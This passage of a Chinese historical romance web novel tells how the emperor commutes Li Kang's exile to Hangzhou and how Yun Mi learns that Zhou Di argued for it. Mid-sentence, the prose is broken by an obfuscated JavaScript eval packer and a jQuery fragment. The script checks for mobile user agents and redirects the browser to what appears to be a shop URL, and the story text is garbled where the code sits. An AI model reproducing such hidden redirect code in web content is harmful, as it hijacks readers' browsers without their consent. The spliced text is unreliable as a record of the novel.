她微微垂首,等待裁决。
明昭帝并未接那辞呈,只看着她问:
“静宁之地千里之遥,贫瘠苦寒,你当真要跟着去?”
云宓双手依然朝上举着那份辞呈,毫不犹豫地道:
“回陛下。臣是李康的妻子,自当与他同甘共苦,生死相随。”
“好一个‘同甘共苦,生死相随’。”明昭帝不禁看一眼她身后的周砥,青年眼睫倏然低垂,也不知垂落的眼帘下,藏了多少酸涩与痛楚?
明昭帝看了看她手上的素笺,道:
“既你刚好这时候来了,便顺带告知你一声。李康的判罚,方才已改。念其河工之能尚堪驱使,亦记你当日殿前陈情之功,朕已改判其往浙江杭州府仁和县河泊所,专司地方水务,戴罪图功。”
皇帝的声音一落,云宓骤然抬首,目中满是惊讶与不敢置信。
怎么突然又改判了呢?还从艰苦的边陲之地改到了富庶的江南水乡?
可她没听错,陛下刚才确实亲口说将李康改判杭州了,让李康得以重新专其所长。但此刻已经顾不得其它了,唯有伏地叩拜,“谢陛下隆恩!”
明昭帝却淡然道:“此事,你最该谢的,并非朕。”他目光微移,投向云宓身后的周砥,“是周砥怜惜其才,体恤其情,更念及你之功,方才在朕面前,力陈此改判之利。”
云宓一下怔住。
周砥?
她缓缓转过头去,目光落在静立于她身后的青年身上。
刚才她过来时其实已经看见周砥了,只圣驾面前,不敢失仪。
周砥依旧保持着微微垂首的姿态,从殿宇上方直洒下来的阳光勾勒着他俊美的轮廓,在感受到她的目光,低垂的眼眸抬起,两人视线相接,相顾无言。
云宓鼻间忽然抑制不住地酸胀。
原来,在她递上辞呈、诉说决心的时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16903153|187110||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
,在她一无所知地准备着前往静宁州的时候,他已经为她……不,是为李康,为他们的未来,争来了一个截然不同的可能。
她极力忍住几欲冲上来的泪意,回过头来。
明昭帝将两人之间的欲说还休尽收眼底,他不再多言,只示意一旁的小太监将那素笺辞呈从她微微颤抖的手中接过,道:
“你的请辞,朕准了。赴任之事,自有新旨。你们……且叙罢。”
说罢便转身离去。
陛台前,只余云宓与周砥二人。
云宓从地上起身,转向周砥,与他四目相对。风似乎都静止了。
两人之间隔着丈余的距离,云宓朝他走过去,他却没有似以往在东安门外那般迎上她,而是任由她向自己走来。
云宓在离他几步之外站定,定定望着他,千言万语堵在胸口,沉重得让她开不了口。一个“谢”字太轻,道一声“歉”又太虚,那分明存在、她却无法回应的万钧情意,便是横亘其间的无形壁垒。
最终,她敛衽向他深深一福,每一个字都说得缓慢而用力,“周翰林……此番……恩同再造。云宓,及相公李康